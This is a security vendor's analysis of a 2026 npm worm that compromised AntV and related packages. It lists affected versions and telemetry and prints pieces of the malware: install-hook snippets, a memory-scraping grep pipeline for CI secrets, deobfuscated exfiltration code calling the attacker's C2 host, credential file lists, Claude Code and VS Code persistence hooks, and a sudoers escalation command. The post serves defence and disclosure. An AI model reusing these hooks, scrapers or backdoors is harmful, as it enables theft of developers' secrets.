Back to Blog

Shai-Hulud: Here We Go Again. Mass npm Supply Chain Attack Hits the AntV Ecosystem

A new wave of the Mini Shai-Hulud worm has compromised packages across Alibaba's AntV data visualization ecosystem, echarts-for-react, timeago.js, and dozens more. Stolen CI/CD secrets are being dumped to thousands of public GitHub repositories as the attack continues to spread.
Sai Likhith
View LinkedIn

May 19, 2026

Share on X
Share on X
Share on LinkedIn
Share on Facebook
Follow our RSS feed
Table of Contents

A new wave of the Mini Shai-Hulud npm worm is actively compromising packages across Alibaba's AntV data visualization ecosystem. The compromised npm account atool, which publishes timeago.js (1.5 million weekly downloads) and maintains packages across the @antv namespace, was used to push malicious versions of packages spanning charting, graph visualization, mapping, and general-purpose JavaScript utilities. The attack is ongoing and the number of affected packages continues to grow.

Every compromised package carries an obfuscated payload that reads GitHub Actions runner process memory to extract masked CI/CD secrets in plaintext, harvests credentials from over 130 file paths covering AWS, GCP, Azure, Kubernetes, HashiCorp Vault, cryptocurrency wallets, and developer tools, then exfiltrates stolen data through two channels: a GitHub API dead-drop in the legitimate antvis/G2 repository and a fallback C2 server at t.m-kosche.com disguised as an OpenTelemetry collector endpoint. The payload also drops persistent backdoors into Claude Code and VS Code configurations that survive across sessions.

The worm is not just stealing secrets. It is using them. Over 2,200 public GitHub repositories have already been created using exfiltrated tokens, each named with Dune-universe terminology and described with the reversed string "niagA oG eW ereH :duluH-iahS", which reads forward as "Shai-Hulud: Here We Go Again." This makes the blast radius of the attack visible in real time, and it confirms that stolen credentials are being actively exploited to create infrastructure for further operations. This attack represents one of the largest coordinated npm supply chain campaigns ever documented.

If you installed any affected package, assume all secrets accessible in that environment are compromised. Rotate all credentials immediately.

Compromised Pakcages

Package Compromised Versions
timeago.js4.1.2, 4.2.2
timeago-react3.1.7, 3.2.7
echarts-for-react3.0.7, 3.1.7, 3.2.7
jest-canvas-mock2.5.3, 2.6.3, 2.7.3
jest-date-mock1.0.11, 1.1.11, 1.2.11
size-sensor1.0.4, 1.1.4, 1.2.4
canvas-nest.js2.1.4, 2.2.4
filesize.js2.1.0, 2.2.0
onfire.js2.1.1, 2.2.1
relationship.js1.3.9, 1.4.9
ribbon.js1.1.2
slice.js1.2.1, 1.3.1
word-width1.1.1, 1.2.1
lint-md0.3.0, 0.4.0
lint-md-cli0.2.2, 0.3.2
mcp-echarts0.8.1, 0.9.1
mcp-mermaid0.5.1, 0.6.1
@antv/adjust0.3.5, 0.4.5
@antv/algorithm0.2.26, 0.3.26
@antv/async-hook2.3.9, 2.4.9
@antv/attr0.4.5, 0.5.5
@antv/ava3.5.1, 3.6.1
@antv/ava-react3.4.2, 3.5.2
@antv/color-util2.1.6, 2.2.6
@antv/component2.2.11, 2.3.11
@antv/coord0.5.7, 0.6.7
@antv/data-set0.12.8, 0.13.8
@antv/dom-util2.1.4, 2.2.4
@antv/event-emitter0.2.3, 0.3.3
@antv/expr1.1.2, 1.2.2
@antv/f-engine1.11.0, 1.12.0
@antv/f-lottie1.11.0, 1.12.0
@antv/f-my1.11.0, 1.12.0
@antv/f-react1.11.0, 1.12.0
@antv/f-test-utils1.1.9, 1.2.9
@antv/f-vue1.11.0, 1.12.0
@antv/f-wx1.11.0, 1.12.0
@antv/f25.15.0, 5.16.0
@antv/f2-react5.15.0, 5.16.0
@antv/g6.4.1, 6.5.1
@antv/g-base0.6.16, 0.7.16
@antv/g-camera-api2.1.45, 2.2.45
@antv/g-canvas2.3.0, 2.4.0
@antv/g-device-api1.7.13, 1.8.13
@antv/g-dom-mutation-observer-api2.1.42, 2.2.42
@antv/g-gesture3.1.42, 3.2.42
@antv/g-lite2.8.0, 2.9.0
@antv/g-lottie-player1.2.1, 1.3.1
@antv/g-math3.2.0, 3.3.0
@antv/g-mobile-canvas1.2.1, 1.3.1
@antv/g-mobile-canvas-element1.1.42, 1.2.42
@antv/g-mobile-svg1.2.1, 1.3.1
@antv/g-mobile-webgl1.2.1, 1.3.1
@antv/g-plugin-3d2.2.1, 2.3.1
@antv/g-plugin-a11y1.5.1, 1.6.1
@antv/g-plugin-canvas-path-generator2.2.26, 2.3.26
@antv/g-plugin-canvas-picker2.4.1, 2.5.1
@antv/g-plugin-canvas-renderer2.6.1, 2.7.1
@antv/g-plugin-control2.2.1, 2.3.1
@antv/g-plugin-device-renderer2.7.1, 2.8.1
@antv/g-plugin-dom-interaction2.2.31, 2.3.31
@antv/g-plugin-dragndrop2.2.1, 2.3.1
@antv/g-plugin-html-renderer2.4.1, 2.5.1
@antv/g-plugin-image-loader2.4.1, 2.5.1
@antv/g-plugin-mobile-interaction1.1.42, 1.2.42
@antv/g-plugin-rough-canvas-renderer2.2.1, 2.3.1
@antv/g-plugin-rough-svg-renderer2.2.1, 2.3.1
@antv/g-plugin-svg-picker2.1.46, 2.2.46
@antv/g-plugin-svg-renderer2.5.1, 2.6.1
@antv/g-svg2.2.1, 2.3.1
@antv/g-web-animations-api2.2.32, 2.3.32
@antv/g-webgl2.2.1, 2.3.1
@antv/g-webgpu2.2.1, 2.3.1
@antv/g-webgpu-core0.8.2, 0.9.2
@antv/g-webgpu-engine0.8.2, 0.9.2
@antv/g25.5.8, 5.6.8
@antv/g2-extension-3d0.3.0, 0.4.0
@antv/g2-extension-ava0.3.0, 0.4.0
@antv/g2-extension-plot0.3.2, 0.4.2
@antv/g2-plugin-slider2.2.1, 2.3.1
@antv/g2plot2.5.35, 2.6.35
@antv/g65.2.1, 5.3.1
@antv/g6-core0.9.24, 0.10.24
@antv/g6-element0.9.25, 0.10.25
@antv/g6-extension-react0.3.7, 0.4.7
@antv/g6-pc0.9.25, 0.10.25
@antv/g6-plugin0.9.25, 0.10.25
@antv/g6-ssr0.2.1, 0.3.1
@antv/geo-coord1.1.8, 1.2.8
@antv/gi-assets-basic2.5.40, 2.6.40
@antv/gi-sdk3.1.0, 3.2.0
@antv/gi-theme-antd0.7.11, 0.8.11
@antv/gl-matrix2.8.1, 2.9.1
@antv/gpt-vis1.1.0, 1.2.0
@antv/gpt-vis-ssr0.4.7, 0.5.7
@antv/graphin3.1.5, 3.2.5
@antv/graphlib2.1.4, 2.2.4
@antv/hierarchy0.8.1, 0.9.1
@antv/infographic0.3.19, 0.4.19
@antv/l72.26.10, 2.27.10
@antv/l7-component2.26.10, 2.27.10
@antv/l7-core2.26.10, 2.27.10
@antv/l7-draw3.2.5, 3.3.5
@antv/l7-layers2.26.10, 2.27.10
@antv/l7-map2.26.10, 2.27.10
@antv/l7-maps2.26.10, 2.27.10
@antv/l7-react2.5.3, 2.6.3
@antv/l7-renderer2.26.10, 2.27.10
@antv/l7-scene2.26.10, 2.27.10
@antv/l7-source2.26.10, 2.27.10
@antv/l7-three2.26.10, 2.27.10
@antv/l7-utils2.26.10, 2.27.10
@antv/l7plot0.6.11, 0.7.11
@antv/l7plot-component0.1.11, 0.2.11
@antv/larkmap1.6.1, 1.7.1
@antv/layout-gpu1.2.7, 1.3.7
@antv/layout-wasm1.5.2, 1.6.2
@antv/li-core-assets1.4.7, 1.5.7
@antv/li-editor1.7.1, 1.8.1
@antv/li-sdk1.6.1, 1.7.1
@antv/matrix-util3.1.4, 3.2.4
@antv/mcp-server-antv0.2.8, 0.3.8
@antv/mcp-server-chart0.10.10, 0.11.10
@antv/path-util3.1.1, 3.2.1
@antv/react-g2.2.1, 2.3.1
@antv/s22.8.1, 2.9.1
@antv/s2-react2.4.1, 2.5.1
@antv/s2-ssr0.2.1, 0.3.1
@antv/s2-vue2.3.0, 2.4.0
@antv/scale0.6.2, 0.7.2
@antv/smart-color0.3.1, 0.4.1
@antv/thumbnails2.1.0, 2.2.0
@antv/util3.4.11, 3.5.11
@antv/vendor1.1.11, 1.2.11
@antv/x63.2.7, 3.3.7
@antv/x6-angular-shape3.1.1, 3.2.1
@antv/x6-react-shape3.1.1, 3.2.1
@antv/x6-vue-shape3.1.2, 3.2.2
@antv/x6-vue3-shape1.1.0, 1.2.0
@antv/xflow2.2.13, 2.3.13
@lint-md/cli2.1.0, 2.2.0
@lint-md/core2.1.0, 2.2.0
@lint-md/parser0.1.14, 0.2.14
@antv/a80.1.1, 0.2.1
@antv/awards0.1.9, 0.2.9
@antv/calendar-heatmap1.2.2, 1.3.2
@antv/chart-linter1.2.6, 1.3.6
@antv/chart-node-g60.1.4, 0.2.4
@antv/chart-visualization-skills0.2.3, 0.3.3
@antv/ckb2.1.4, 2.2.4
@antv/color-schema0.3.3, 0.4.3
@antv/d3-color1.1.0, 1.2.0
@antv/d3-interpolate1.1.3, 1.2.3
@antv/data-samples1.1.1, 1.2.1
@antv/data-wizard2.1.4, 2.2.4
@antv/dipper-component0.1.4, 0.2.4
@antv/dipper-hooks0.3.1, 0.4.1
@antv/dipper-map1.1.10, 1.2.10
@antv/dumi-theme-antv0.10.4, 0.9.4
@antv/dw-analyzer1.2.5, 1.3.5
@antv/dw-random1.2.7, 1.3.7
@antv/dw-transform1.2.7, 1.3.7
@antv/dw-util1.2.4, 1.3.4
@antv/f-charts0.1.0, 0.2.0
@antv/f2-algorithm5.8.0, 5.9.0
@antv/f2-canvas1.1.5, 1.2.5
@antv/f2-context0.1.1, 0.2.1
@antv/f2-graphic0.1.16, 0.2.16
@antv/f2-my4.1.52, 4.2.52
@antv/f2-site4.1.42, 4.2.42
@antv/f2-vue4.1.33, 4.2.33
@antv/f2-wordcloud5.15.0, 5.16.0
@antv/f2-wx4.1.51, 4.2.51
@antv/f60.1.19, 0.2.19
@antv/f6-alipay0.1.7, 0.2.7
@antv/f6-core0.1.2, 0.2.2
@antv/f6-element0.1.1, 0.2.1
@antv/f6-hammerjs0.1.2, 0.2.2
@antv/f6-plugin1.1.6, 1.2.6
@antv/f6-ui1.1.3, 1.2.3
@antv/f6-wx0.1.7, 0.2.7
@antv/g-canvaskit1.2.1, 1.3.1
@antv/g-compat1.1.11, 1.2.11
@antv/g-components2.1.42, 2.2.42
@antv/g-css-layout-api1.1.38, 1.2.38
@antv/g-css-typed-om-api1.1.38, 1.2.38
@antv/g-image-exporter1.1.42, 1.2.42
@antv/g-layout-blocklike1.8.49, 1.9.49
@antv/g-mobile1.2.5, 1.3.5
@antv/g-pattern2.1.42, 2.2.42
@antv/g-perf1.1.0, 1.2.0
@antv/g-plugin-annotation1.3.0, 1.4.0
@antv/g-plugin-box2d2.2.1, 2.3.1
@antv/g-plugin-canvaskit-renderer2.4.1, 2.5.1
@antv/g-plugin-css-select2.2.1, 2.3.1
@antv/g-plugin-gesture2.2.1, 2.3.1
@antv/g-plugin-gpgpu1.10.20, 1.11.20
@antv/g-plugin-matterjs2.2.1, 2.3.1
@antv/g-plugin-physx2.2.1, 2.3.1
@antv/g-plugin-webgl-device1.10.17, 1.11.17
@antv/g-plugin-webgl-renderer1.1.26, 1.2.26
@antv/g-plugin-webgpu-device1.10.17, 1.11.17
@antv/g-plugin-yoga2.4.1, 2.5.1
@antv/g-plugin-zdog-canvas-renderer2.2.1, 2.3.1
@antv/g-plugin-zdog-svg-renderer2.2.1, 2.3.1
@antv/g-shader-components2.1.0, 2.2.0
@antv/g-web-components2.2.1, 2.3.1
@antv/g-webgl-compute0.1.1, 0.2.1
@antv/g-webgpu-compiler0.8.2, 0.9.2
@antv/g-webgpu-raytracer0.6.1, 0.7.1
@antv/g-webgpu-unitchart0.6.1, 0.7.1
@antv/g2-brush0.1.2, 0.2.2
@antv/g2-ssr0.3.0, 0.4.0
@antv/g2plot-schemas1.3.2, 1.4.2
@antv/g6-alipay0.1.1, 0.2.1
@antv/g6-cli0.1.4, 0.2.4
@antv/g6-editor1.3.0, 1.4.0
@antv/g6-extension-3d0.2.23, 0.3.23
@antv/g6-mobile0.2.2, 0.3.2
@antv/g6-plugin-map-view0.1.4, 0.2.4
@antv/g6-plugins1.1.9, 1.2.9
@antv/g6-react-node1.5.8, 1.6.8
@antv/g6-wx0.1.1, 0.2.1
@antv/gatsby-theme0.2.0, 0.3.0
@antv/gi-assets-advance2.6.22, 2.7.22
@antv/gi-assets-algorithm2.4.19, 2.5.19
@antv/gi-assets-galaxybase1.3.15, 1.4.15
@antv/gi-assets-graphscope2.2.15, 2.3.15
@antv/gi-assets-hugegraph1.2.15, 1.3.15
@antv/gi-assets-janusgraph1.2.15, 1.3.15
@antv/gi-assets-neo4j2.2.15, 2.3.15
@antv/gi-assets-scene2.3.21, 2.4.21
@antv/gi-assets-tugraph2.2.15, 2.3.15
@antv/gi-assets-tugraph-analytics0.3.15, 0.4.15
@antv/gi-assets-xlab0.2.30, 0.3.30
@antv/gi-cli1.3.11, 1.4.11
@antv/gi-common-components1.4.16, 1.5.16
@antv/gi-mock-data1.1.5, 1.2.5
@antv/gi-public-data1.1.1, 1.2.1
@antv/gi-sdk-app1.3.10, 1.4.10
@antv/github-config-cli0.2.0, 0.3.0
@antv/graphin-components2.5.1, 2.6.1
@antv/graphin-graphscope1.1.5, 1.2.5
@antv/graphin-icons1.1.0, 1.2.0
@antv/insight-component1.1.0, 1.2.0
@antv/interaction0.2.5, 0.3.5
@antv/istanbul0.1.0, 0.2.0
@antv/knowledge1.2.4, 1.3.4
@antv/l7-composite-layers0.18.1, 0.19.1
@antv/l7-district2.4.12, 2.5.12
@antv/l7-editor1.2.13, 1.3.13
@antv/l7-extension-g-layer1.1.0, 1.2.0
@antv/l7-leaflet1.1.2, 1.2.2
@antv/l7-mapkit0.6.0, 0.7.0
@antv/l7-mini2.21.8, 2.22.8
@antv/l7-pass1.1.0, 1.2.0
@antv/li-aiearth-assets0.5.7, 0.6.7
@antv/li-analysis-assets1.10.1, 1.11.1
@antv/li-p21.10.2, 1.9.2
@antv/li-sam-assets0.2.4, 0.3.4
@antv/lite-insight2.2.1, 2.3.1
@antv/my-f22.2.7, 2.3.7
@antv/my-f2-pc0.2.1, 0.3.1
@antv/narrative-text-editor0.3.20, 0.4.20
@antv/narrative-text-schema0.4.7, 0.5.7
@antv/narrative-text-vis0.4.16, 0.5.16
@antv/s2-react-components2.2.2, 2.3.2
@antv/sam0.3.0, 0.4.0
@antv/semantic-release-pnpm1.1.4, 1.2.4
@antv/stat0.1.2, 0.2.2
@antv/t80.4.0, 0.5.0
@antv/thumbnails-component2.1.0, 2.2.0
@antv/torch1.1.6, 1.2.6
@antv/translator1.1.1, 1.2.1
@antv/vis-predict-engine0.2.1, 0.3.1
@antv/webgpu-graph1.1.0, 1.2.0
@antv/word-scale-chart0.4.4, 0.5.4
@antv/wx-f22.2.1, 2.3.1
@antv/x6-common2.1.17, 2.2.17
@antv/x6-components0.11.7, 0.12.7
@antv/x6-geometry2.1.5, 2.2.5
@antv/x6-plugin-clipboard2.2.6, 2.3.6
@antv/x6-plugin-dnd2.2.1, 2.3.1
@antv/x6-plugin-export2.2.6, 2.3.6
@antv/x6-plugin-history2.3.4, 2.4.4
@antv/x6-plugin-keyboard2.3.3, 2.4.3
@antv/x6-plugin-minimap2.1.7, 2.2.7
@antv/x6-plugin-scroller2.1.10, 2.2.10
@antv/x6-plugin-selection2.3.2, 2.4.2
@antv/x6-plugin-snapline2.2.7, 2.3.7
@antv/x6-plugin-stencil2.2.5, 2.3.5
@antv/x6-plugin-transform2.2.8, 2.3.8
@antv/x6-react0.2.26, 0.3.26
@antv/x6-react-components2.1.9, 2.2.9
@antv/x6-vector1.5.2, 1.6.2
@antv/xflow-core1.1.55, 1.2.55
@antv/xflow-diff1.1.0, 1.2.0
@antv/xflow-extension1.1.55, 1.2.55
@antv/xflow-hook1.1.55, 1.2.55
ai-figure0.5.0, 0.6.0
amapcn0.2.2, 0.3.2
ast-plugin0.1.7, 0.2.7
babel-plugin-version0.3.3, 0.4.3
boring-avatars-vanilla1.1.2, 1.2.2
byte-parser1.1.0, 1.2.0
fixed-round1.1.2, 1.2.2
gantt-for-react0.3.0, 0.4.0
jest-electron0.2.12, 0.3.12
jest-expect0.1.1, 0.2.1
jest-less-loader0.3.0, 0.4.0
jest-random-mock1.1.0, 1.2.0
jest-url-loader0.2.0, 0.3.0
limit-size0.2.4, 0.3.4
miz1.1.1, 1.2.1
react-adsense0.2.0, 0.3.0
uri-parse1.1.0, 1.2.0
xmorse1.1.0, 1.2.0
@openclaw-cn/feishu0.2.11
@openclaw-cn/cli1.4.1
@starmind/collector-cli0.3.10
@openclaw-cn/libsignal2.1.1
openclaw-cn0.3.0
@openclaw-cn/toutiao-ops1.2.4

This list is growing as the attack continues to spread.

Runtime Analysis with Harden-Runner

We installed echarts-for-react@3.0.7 in a GitHub Actions workflow protected by Harden-Runner to observe how the attack behaves against a protected CI/CD pipeline.

Default Protections: Attack Blocked Without Configuration

With Harden-Runner's default security controls enabled, two independent protections prevented the exploit from succeeding without any user configuration:

https://app.stepsecurity.io/github/actions-security-demo/compromised-packages/actions/runs/26079710896?jobId=76678285829

1. C2 domain blocked by Global Block List. When bun.exe attempted to connect to t.m-kosche.com, the attacker's command-and-control server, Harden-Runner's Global Block List immediately flagged the domain and blocked the outbound connection.

2. CI/CD secret dump detected and workflow terminated. When the payload attempted to read Runner.Worker process memory to extract CI/CD secrets, Harden-Runner detected the memory access and triggered a policy-enforced lockdown that terminated the entire workflow run.

These two protections operate independently. Even if the attacker's C2 domain had not been on the Global Block List, the memory access detection would have killed the run. And even if the memory scraping had not been attempted, the network block would have prevented data exfiltration. Defense in depth at the CI/CD runner level stopped this attack at two separate points in the kill chain.

Deep Analysis: Observing the Full Attack Chain

To analyze the complete runtime behavior of the payload, we ran a second workflow with the Global Block List and lockdown mode disabled so the attack could proceed to completion. This allowed us to capture the full network and process telemetry. You can explore the complete telemetry here:

https://app.stepsecurity.io/github/actions-security-demo/compromised-packages/actions/runs/26074813529?jobId=76663584145

Network Telemetry

Harden-Runner's network monitoring recorded three outbound destinations during npm install:

registry.npmjs.org (Allowed): Legitimate package registry traffic for downloading echarts-for-react and its dependencies.

t.m-kosche.com (Allowed): The attacker's C2 server. bun.exe (PID 2401) initiated the connection at 03:43:46 UTC, posting encrypted stolen data to the fake OpenTelemetry endpoint at api/public/otel/v1/traces.

api.github.com (Allowed): The GitHub API dead-drop channel. bun.exe (PID 2401) connected at 03:43:49 UTC to commit exfiltrated credentials to the antvis/G2 repository.

The HTTPS event log captured 86 individual requests, including the initial resolution of echarts-for-react from the npm registry, the download of the Bun runtime (@oven/bun-linux-x64), the fetch of the poisoned antvis/G2 commit (codeload.github.com/antvis/G2/tar.gz/7cb42f57...), and the subsequent exfiltration traffic.

Process Telemetry: The Attack Chain

The process tree captured by Harden-Runner reveals the full execution flow. When npm install resolves the optionalDependencies git reference, it clones the poisoned commit and runs the prepare hook:

npm install echarts-for-react@3.0.7 (PID 2368)
  └─ node (PID 2379) - resolves github:antvis/G2#7cb42f5..., installs bun
      └─ dash (PID 2400) - prepare hook fires
          └─ bun.exe (PID 2401) - runs index.js (the malicious payload)
              ├─ gh (PID 2419) - GitHub CLI reconnaissance
              ├─ sudo (PID 2428)
              │   └─ python3.12 (PID 2429) - reads /proc/2175/mem (Runner.Worker)
              ├─ dash (PID 2430)
              │   ├─ tr (PID 2431)  - strips null bytes
              │   ├─ grep (PID 2432) - extracts isSecret:true JSON
              │   └─ sort (PID 2433) - deduplicates extracted secrets

This pattern repeats across four separate git-clone operations (the echarts-for-react package references multiple compromised optional dependencies), producing four independent python3 processes (PIDs 2429, 2486, 2536, 2587) all reading /proc/2175/mem, which is the Runner.Worker process.

Harden-Runner Detections

Harden-Runner flagged four Runner Worker Memory Read detections, one for each python3 process that attempted to read /proc/2175/mem:

python3 (pid: 2429) - Runner Worker Memory Read - FILE_READ /proc/2175/mem -> Runner.Worker
python3 (pid: 2486) - Runner Worker Memory Read - FILE_READ /proc/2175/mem -> Runner.Worker
python3 (pid: 2536) - Runner Worker Memory Read - FILE_READ /proc/2175/mem -> Runner.Worker
python3 (pid: 2587) - Runner Worker Memory Read - FILE_READ /proc/2175/mem -> Runner.Worker

Each detection includes the full process ancestry, timestamp, and target file information. The armour_event_kind: FILE_READ events show python3.12 (spawned via sudo from bun.exe) reading the memory of Runner.Worker (PID 2175). This is the definitive signal that secrets are being extracted from the runner process.

Exfiltrated Secrets in Public Repositories

The worm is actively using stolen GitHub tokens to create public repositories as dead-drops for exfiltrated data. A GitHub search for the reversed campaign marker reveals the scale:

https://github.com/search?q=niaga+og+ew+ereh+%3Aduluh-iahs&type=repositories&s=updated&o=desc

As of the time of writing, over 2,500 repositories have been created. Each repository is named using a pair of Dune-universe terms (atreides, fedaykin, ghola, harkonnen, lasgun, laza, navigator, sandworm, thumper) followed by a random number. The repository descriptions all contain the reversed string niagA oG eW ereH :duluH-iahS, which reads forward as "Shai-Hulud: Here We Go Again."

These repositories are created using GitHub tokens stolen from compromised CI/CD environments. The sheer volume, over two thousand repositories, provides a lower bound on the number of unique environments whose credentials were successfully exfiltrated. If your GitHub token was among those stolen, the attacker has used it to create at least one of these repositories under an account they control.

Background: The atool npm Account and the AntV Ecosystem

The npm account atool (email i@hust.cc) is the primary publisher of timeago.js, a JavaScript library for relative time formatting with over 1.5 million weekly downloads. The same account is a member of the AntV maintainer team. AntV is Alibaba's open-source data visualization technology suite, and the @antv npm namespace contains more than 100 packages covering charting (@antv/g2, @antv/g2plot), graph visualization (@antv/g6), mapping (@antv/l7), 2D/3D rendering (@antv/g), spreadsheet rendering (@antv/s2), and supporting utilities. Individual AntV packages receive between 50,000 and 2,000,000 weekly downloads.

The standalone packages in this campaign, including echarts-for-react, jest-canvas-mock, jest-date-mock, and others, are unrelated to AntV by function but were maintained by the same account or publishing pipeline that the attacker compromised. Together, the affected packages represent a significant footprint across React, data visualization, testing, and utility library stacks. Environments that install these packages include data engineering pipelines, financial dashboards, React/Vue/Angular front-end builds, and enterprise data platforms. Many of these run inside GitHub Actions, GitLab CI, or Kubernetes-hosted CI/CD pipelines that hold elevated cloud credentials, making this an extremely high-value target for a supply chain attacker.

Attack Timeline

The attack unfolded in two coordinated waves on May 19, 2026 (UTC), with all malicious packages published within a compressed window:

Wave 1 (01:56 UTC): The attacker publishes the first malicious version of each package. The preinstall hook uses bun run index.js; if Bun is not installed, the payload installs it first via curl -fsSL https://bun.sh/install | bash.

Wave 2 (+10 minutes, 02:06 UTC): A second set of versions is published with a minor update: bun is added as an explicit npm dependency (not just installed at runtime), making the payload more reliable across environments where the first-wave runtime install might fail silently. The payload itself is functionally identical to Wave 1.

The double-publish pattern, incrementing the minor version by one each time, is a known attacker technique for making version bumps appear routine and ensuring at least one delivery mechanism succeeds across different environments.

Two Delivery Mechanisms

We identified two distinct delivery patterns in this campaign. Both execute the same credential-stealing payload; they differ only in how the payload is triggered during npm install.

Pattern A: Direct Install Hook

The most common pattern adds a preinstall or postinstall script directly to the package's package.json:

"scripts": {
  "preinstall": "node -e \"require('child_process').spawnSync('bun',['run','index.js'],{stdio:'inherit'})\""
}

The hook fires immediately when the package is installed. If Bun is not present, it is installed silently before the payload executes. This pattern was used across most @antv/* packages.

Pattern B: optionalDependencies Git Reference

A more sophisticated pattern, observed in echarts-for-react and other packages, adds a single field to package.json that references a poisoned commit in the legitimate antvis/G2 GitHub repository:

"optionalDependencies": {
  "@antv/setup": "github:antvis/G2#7cb42f57561c321ecb09b4552802ae0ac55b3a7a"
}

That commit contains a minimal package.json with a prepare hook:

{
  "name": "@antv/setup",
  "scripts": { "prepare": "bun run index.js && exit 1" },
  "dependencies": { "bun": "*" }
}

The prepare hook fires automatically when npm resolves the git dependency. The trailing && exit 1 is deliberate: it causes the optional dependency to "fail" gracefully, leaving minimal traces in logs while the payload has already executed in the background. Because the dependency resolves to a trusted GitHub organization (antvis) and no scripts entry appears in the published tarball itself, this pattern evades static analysis tools and supply chain monitoring that inspect scripts fields in published packages.

Attack Flow Diagram

The following diagram shows the complete kill chain from initial package installation through credential exfiltration and onward propagation.

Payload Analysis

We fully deobfuscated the payloads from @antv/graphlib@2.1.4 and echarts-for-react@3.0.7. Both are 486 to 498 KB obfuscated JavaScript files executed by the Bun runtime. The obfuscation uses javascript-obfuscator format: a 1,728-entry string table with a PBKDF2-seeded Fisher-Yates rotation, plus a secondary per-string cipher (PBKDF2-SHA256, 200,000 iterations, per-byte substitution via a SHA256-seeded stream RNG). The cipher key and salt differ per payload, but the algorithm is identical across the campaign.

Runner.Worker Memory Scraping

The payload's highest-value capability targets GitHub Actions runners directly. It locates the Runner.Worker process by scanning /proc/[pid]/cmdline, then reads its memory via /proc/[pid]/mem and pipes the dump through:

tr -d '\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}' | sort -u

This extracts every secret marked isSecret:true in the runner's memory, including GITHUB_TOKEN, repository secrets, environment secrets, and organization secrets, all in plaintext, bypassing log masking entirely. The extraction happens in a background process after npm install completes, so no visible output is produced.

CI/CD Environment Variable Theft

When running in a CI environment (detected via GITHUB_ACTIONS, CIRCLECI, TRAVIS, BUILDKITE, and 15 other CI signals), the payload reads the following environment variables directly:

GITHUB_TOKEN · ACTIONS_ID_TOKEN_REQUEST_TOKEN · ACTIONS_RUNTIME_TOKEN · NPM_TOKEN · AWS_ACCESS_KEY_ID · AWS_SECRET_ACCESS_KEY · AWS_SESSION_TOKEN · VAULT_TOKEN · KUBECONFIG

Credential File Harvest

The payload sweeps over 130 credential file patterns on the host filesystem:

Cloud: ~/.aws/credentials, ~/.config/gcloud/credentials.db, ~/.azure/accessTokens.json, ~/.terraform.d/credentials.tfrc.json

SSH: ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_ecdsa, ~/.ssh/config, ~/.ssh/authorized_keys

Dev tokens: ~/.npmrc, ~/.pypirc, ~/.netrc, .git-credentials, ~/.docker/config.json

Kubernetes / Vault: ~/.kube/config, /etc/rancher/k3s/k3s.yaml, ~/.vault-token, /run/secrets/vault_token

Crypto wallets: ~/.bitcoin/wallet.dat, ~/.ethereum/keystore/*, ~/.electrum/wallets/*, ~/.dogecoin/wallet.dat

Chat / messaging: ~/.config/Slack/Cookies, ~/.config/telegram-desktop/*, ~/.config/discord/Local Storage/leveldb/*

AI tooling: ~/.claude.json, ~/.claude/mcp.json

Dual-Channel Exfiltration

All harvested data is encrypted with a PBKDF2-derived key (200,000 iterations, SHA-256) unique to each payload, then exfiltrated via one of two channels depending on the payload variant.

Primary channel: GitHub API dead-drop. Encrypted data is committed to a dead-drop branch in the antvis/G2 repository via the GitHub REST API. Every request uses a spoofed python-requests/2.31.0 User-Agent. The campaign fingerprint string IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner is embedded in commit messages to allow the attacker to locate their data across branches.

Fallback channel: direct HTTPS to t.m-kosche.com. Confirmed in the @antv/graphlib payload variant via full cipher decryption. The payload connects directly to t.m-kosche.com:443 via TLS, posting to the path api/public/otel/v1/traces. This path is deliberately chosen to masquerade as an OpenTelemetry collector endpoint, because many organizations whitelist observability traffic by path pattern. Block t.m-kosche.com at the network level regardless of path.

// Deobfuscated from @antv/graphlib payload
async function J2() {
    const conn = {
        domain: 't.m-kosche.com',
        port: 443,
        path: 'api/public/otel/v1/traces',  // fake OTel endpoint
        dry_run: false
    };
    if (process.env.SKIP_DOMAIN === 'true') {
        return new lo().send(data);           // GitHub API channel
    } else {
        return new po(conn).tryCreate();      // direct TLS to t.m-kosche.com
    }
}

Daemonization

The payload forks itself into a background process using a __DAEMONIZED=1 environment variable as a guard against re-entry. The foreground process exits immediately, allowing npm install to complete with no visible error. The background process performs the full credential harvest after npm exits.

Persistence: Backdoor Implants

The payload drops persistent backdoor files into several locations that execute on subsequent tool invocations:

.claude/settings.json: Injects a SessionStart hook that re-executes the malware on every Claude Code session.

.claude/setup.mjs: Shared setup script dropped for persistence alongside Claude Code configuration.

.vscode/tasks.json: Adds a folderOpen task that re-executes the payload every time VS Code opens the project.

.vscode/setup.mjs: Shared setup script for VS Code persistence.

codeql.yml: Injects a malicious GitHub Actions workflow that exfiltrates all repository secrets on push or deployment events.

Privilege Escalation

On Linux CI runner systems, the payload attempts privilege escalation by writing a sudoers rule:

echo 'runner ALL=(ALL) NOPASSWD:ALL' > /mnt/runner && chmod 0440 /mnt/runner

This grants the runner user (the default GitHub Actions runner user) full passwordless sudo access, enabling the attacker to escalate from the CI service account to root.

Indicators of Compromise

C2 Network Domains

  • t.m-kosche.com (port 443, path api/public/otel/v1/traces)
  • api.github.com (dead-drop via antvis/G2 repo; spoofed UA: python-requests/2.31.0)

Persistence Artifacts

  • .claude/settings.json: SessionStart hook; re-executes malware on every Claude Code session
  • .claude/setup.mjs: Shared setup script for Claude Code persistence
  • .vscode/tasks.json: folderOpen task; re-executes on every VS Code open
  • .vscode/setup.mjs: Shared setup script for VS Code persistence
  • .github/workflows/codeql.yml: Injected workflow that exfiltrates repo secrets

Detection Signals

  • Unexpected preinstall or postinstall scripts referencing bun run index.js
  • optionalDependencies pointing to a github: URL with a specific commit hash in antvis/G2
  • Package size anomaly: compromised tarballs are significantly larger than clean versions
  • Two versions of the same package published within minutes (double-tap pattern)
  • Outbound HTTPS connections to t.m-kosche.com during npm install or build steps
  • Unexpected python3 processes reading /proc/*/mem during CI runs
  • Commits by accounts you do not recognize with message chore: update dependencies
  • Branches with Dune-universe terminology in repository names
  • Network requests with User-Agent python-requests/2.31.0 originating from runner hosts

Am I Affected?

1. Check Your Lockfiles

Search for compromised versions in your dependency tree:

# For npm
grep -E "@antv/|echarts-for-react|timeago|jest-canvas-mock|jest-date-mock|size-sensor|lint-md" package-lock.json | grep -v node_modules

# For pnpm
grep -E "@antv/|echarts-for-react|timeago|jest-canvas-mock|jest-date-mock|size-sensor|lint-md" pnpm-lock.yaml

# For yarn
grep -E "@antv/|echarts-for-react|timeago|jest-canvas-mock|jest-date-mock|size-sensor|lint-md" yarn.lock

Cross-reference the resolved versions against the compromised versions table above.

2. Check for the Malicious File

